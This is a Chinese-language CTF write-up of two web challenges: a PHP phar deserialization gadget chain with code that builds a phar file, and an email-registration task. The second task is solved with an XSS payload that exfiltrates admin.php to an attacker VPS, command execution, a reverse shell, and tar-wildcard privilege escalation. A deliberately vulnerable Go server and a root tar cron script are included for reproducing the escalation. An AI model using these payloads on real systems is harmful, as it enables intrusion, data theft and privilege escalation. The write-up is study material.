这道题我开始读到class.php时还在想这么多类咋没用到,之后听别人题型才知道反序列化不一定需要serialize,早就听说今年BlackHat大会爆出的phar协议漏洞而一直没实践

知道该干嘛后就很简单了,通过一组类的魔术方法构造利用链:

$o3 = new Test();
$o3 -> params = array();
$o3 -> params["source"] = "/var/www/html/f1ag.php";
$o2 = new Show("hacked");
$o2 -> str = array();
$o2 -> str['str'] = $o3;
$o1 = new C1e4r($o2);

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($o1);
$phar->addFromString("f1ag.php", "test");
$phar->stopBuffering();

然后上传,md5一下文件名+IP,phar协议文件包含读flag就ok了


有趣的邮箱注册

这道题的提权部分还帮了我大忙,我把它的通配符提权拿出来写了个http server用在周五的讲课上了

进入题目知道是ssrf,需要绕过邮箱的验证:

"[xss payload]"@null.com

然后读源码:

xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        document.location='http://vps:4444/?'+btoa(xmlhttp.responseText);
    }
}
xmlhttp.open("GET","admin.php",true);
xmlhttp.send();

发现是个RCE:

href="admin/a0a.php?cmd=whoami"

然后反弹一个shell到VPS:

echo [payload base64] | base64 -d > /tmp/shell.sh
?cmd=/bin/bash /tmp/shell.sh

接着会发现根目录下的flag文件权限为400,所有者为flag,接着能够在web目录发现一个目录,里面有一个文件上传,且有tar的备份,利用tar指令的--checkpoint-action参数结合通配符完成提权


Linux通配符 + tar指令提权复现靶机环境地址:https://github.com/EddieIvan01/Tar-Vuln-server

Server代码:

package main

import (
	"io"
	"io/ioutil"
	"log"
	"os"
	"os/exec"

	"github.com/gin-gonic/gin"
)

func index_get(ctx *gin.Context) {
	cmd := exec.Command("ls")
	result, _ := cmd.Output()
	ctx.HTML(200, "index.html", string(result))
}

func index_post(ctx *gin.Context) {
	file, _ := ctx.FormFile("file")
	file_content, _ := file.Open()
	defer file_content.Close()
	filename := file.Filename
	fp, _ := os.Create(filename)
	defer fp.Close()
	_, err := io.Copy(fp, file_content)
	if err != nil {
		log.Println(err.Error())
	}
}

func read_file(ctx *gin.Context) {
	filename, _ := ctx.GetQuery("file")
	log.Println(filename)
	content, err := ioutil.ReadFile(filename)
	if err != nil {
		log.Println(err.Error())
	}
	ctx.String(200, "%s", content)
}

func main() {
	router := gin.Default()
	router.LoadHTMLGlob("templates/*")
	router.GET("/", index_get)
	router.POST("/", index_post)
	router.GET("/readfile", read_file)
	router.Run(":2333")
}

root用户执行的crontab.sh

#!/bin/bash
while true
do
tar -zcf 1.tgz *
sleep 60
done

本来想直接用crontab来定时备份的,但后来发现加入绝对路径后就崩了,所以Linux通配符提权那篇文章里写的可能是想当然了,因为tar -zcf /xx/xx.tgz /xxx/*通配符扩展后为tar -zcf /xx/xx.tgz /xxx/--checkpoint=1,当然是不正确的,所以可能需要某种方式设置crontab的执行目录